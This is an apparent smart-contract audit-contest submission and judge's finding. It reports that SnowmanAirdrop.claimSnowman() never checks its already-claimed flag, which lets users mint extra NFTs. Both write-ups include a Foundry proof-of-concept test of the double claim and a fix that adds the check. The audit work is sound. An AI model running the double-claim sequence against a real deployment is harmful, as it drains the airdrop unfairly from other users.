Snowman Merkle Airdrop
AI First Flight #10
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Submission Details
Severity: low
Valid

SnowmanAirdrop.claimSnowman() never reads s_hasClaimedSnowman, allowing users to claim unlimited Snowman NFTs

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Root + Impact

Description

  • Describe the normal behavior in one or more sentences

  • Explain the specific issue or problem in one or more sentences

The `s_hasClaimedSnowman` mapping is intended to prevent a receiver from claiming more than once. After a successful claim it is set to `true`, but `claimSnowman()` **never reads this value** — there is no
guard at the function entry. A user who re-acquires their original Merkle-committed Snow balance can call `claimSnowman()` again and receive additional Snowman NFTs indefinitely.
​
```solidity
// @> Missing check: if (s_hasClaimedSnowman[receiver]) revert SA__AlreadyClaimed();
​
function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s)
external nonReentrant
{
if (receiver == address(0)) { revert SA__ZeroAddress(); }
if (i_snow.balanceOf(receiver) == 0) { revert SA__ZeroAmount(); }
// ...
i_snow.safeTransferFrom(receiver, address(this), amount);
s_hasClaimedSnowman[receiver] = true; // @> Set but never read on re-entry
i_snowman.mintSnowman(receiver, amount);
}
```
​
### Risk
​
**Likelihood:**
​
- Any whitelisted user who re-earns their original Snow balance (via the free `earnSnow()`) can trigger the exploit at zero cost
- The attack repeats as often as the user can re-acquire their Merkle-committed Snow amount
​
**Impact:**
​
- Whitelisted users mint extra Snowman NFTs beyond their single allocated claim
- The one-per-user airdrop invariant is completely broken
- NFT supply inflates without bound beyond the intended distribution

Risk

Likelihood:

  • Reason 1 // Describe WHEN this will occur (avoid using "if" statements)

  • Reason 2

Impact:

  • Impact 1

  • Impact 2

Proof of Concept

```solidity
function test_poc_DoubleClaim() public {
// Alice has 1 Snow (earnSnow in setUp), her Merkle leaf = hash(alice, 1)
vm.prank(alice);
snow.approve(address(airdrop), 1);
bytes32 digest = airdrop.getMessageHash(alice);
(uint8 v, bytes32 r, bytes32 s) = vm.sign(alKey, digest);
airdrop.claimSnowman(alice, AL_PROOF, v, r, s);
​
assertEq(nft.balanceOf(alice), 1); // first claim OK
assertEq(snow.balanceOf(alice), 0);
​
// Alice earns 1 more Snow — restores balance to original Merkle amount
vm.warp(block.timestamp + 1 weeks);
vm.prank(alice);
snow.earnSnow();
​
// s_hasClaimedSnowman[alice] == true but is NEVER READ — second claim succeeds
vm.prank(alice);
snow.approve(address(airdrop), 1);
(uint8 v2, bytes32 r2, bytes32 s2) = vm.sign(alKey, airdrop.getMessageHash(alice));
airdrop.claimSnowman(alice, AL_PROOF, v2, r2, s2);
​
assertEq(nft.balanceOf(alice), 2); // double claim confirmed
}
```
​
Run with: `forge test --match-test test_poc_DoubleClaim -vvv`

Recommended Mitigation

```diff
function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s)
external nonReentrant
{
+ if (s_hasClaimedSnowman[receiver]) revert SA__AlreadyClaimed();
if (receiver == address(0)) { revert SA__ZeroAddress(); }
```
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 4 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[L-01] Missing Claim Status Check Allows Multiple Claims in SnowmanAirdrop.sol::claimSnowman

# Root + Impact   **Root:** The [`claimSnowman`](https://github.com/CodeHawks-Contests/2025-06-snowman-merkle-airdrop/blob/b63f391444e69240f176a14a577c78cb85e4cf71/src/SnowmanAirdrop.sol#L44) function updates `s_hasClaimedSnowman[receiver] = true` but never checks if the user has already claimed before processing the claim, allowing users to claim multiple times if they acquire more Snow tokens. **Impact:** Users can bypass the intended one-time airdrop limit by claiming, acquiring more Snow tokens, and claiming again, breaking the airdrop distribution model and allowing unlimited NFT minting for eligible users. ## Description * **Normal Behavior:** Airdrop mechanisms should enforce one claim per eligible user to ensure fair distribution and prevent abuse of the reward system. * **Specific Issue:** The function sets the claim status to true after processing but never validates if `s_hasClaimedSnowman[receiver]` is already true at the beginning, allowing users to claim multiple times as long as they have Snow tokens and valid proofs. ## Risk **Likelihood**: Medium * Users need to acquire additional Snow tokens between claims, which requires time and effort * Users must maintain their merkle proof validity across multiple claims * Attack requires understanding of the missing validation check **Impact**: High * **Airdrop Abuse**: Users can claim far more NFTs than intended by the distribution mechanism * **Unfair Distribution**: Some users receive multiple rewards while others may receive none * **Economic Manipulation**: Breaks the intended scarcity and distribution model of the NFT collection ## Proof of Concept Add the following test to TestSnowMan.t.sol  ```Solidity function testMultipleClaimsAllowed() public { // Alice claims her first NFT vm.prank(alice); snow.approve(address(airdrop), 1); bytes32 aliceDigest = airdrop.getMessageHash(alice); (uint8 v, bytes32 r, bytes32 s) = vm.sign(alKey, aliceDigest); vm.prank(alice); airdrop.claimSnowman(alice, AL_PROOF, v, r, s); assert(nft.balanceOf(alice) == 1); assert(airdrop.getClaimStatus(alice) == true); // Alice acquires more Snow tokens (wait for timer and earn again) vm.warp(block.timestamp + 1 weeks); vm.prank(alice); snow.earnSnow(); // Alice can claim AGAIN with new Snow tokens! vm.prank(alice); snow.approve(address(airdrop), 1); bytes32 aliceDigest2 = airdrop.getMessageHash(alice); (uint8 v2, bytes32 r2, bytes32 s2) = vm.sign(alKey, aliceDigest2); vm.prank(alice); airdrop.claimSnowman(alice, AL_PROOF, v2, r2, s2); // Second claim succeeds! assert(nft.balanceOf(alice) == 2); // Alice now has 2 NFTs } ``` ## Recommended Mitigation **Add a claim status check at the beginning of the function** to prevent users from claiming multiple times. ```diff // Add new error + error SA__AlreadyClaimed(); function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s) external nonReentrant { + if (s_hasClaimedSnowman[receiver]) { + revert SA__AlreadyClaimed(); + } + if (receiver == address(0)) { revert SA__ZeroAddress(); } // Rest of function logic... s_hasClaimedSnowman[receiver] = true; } ```

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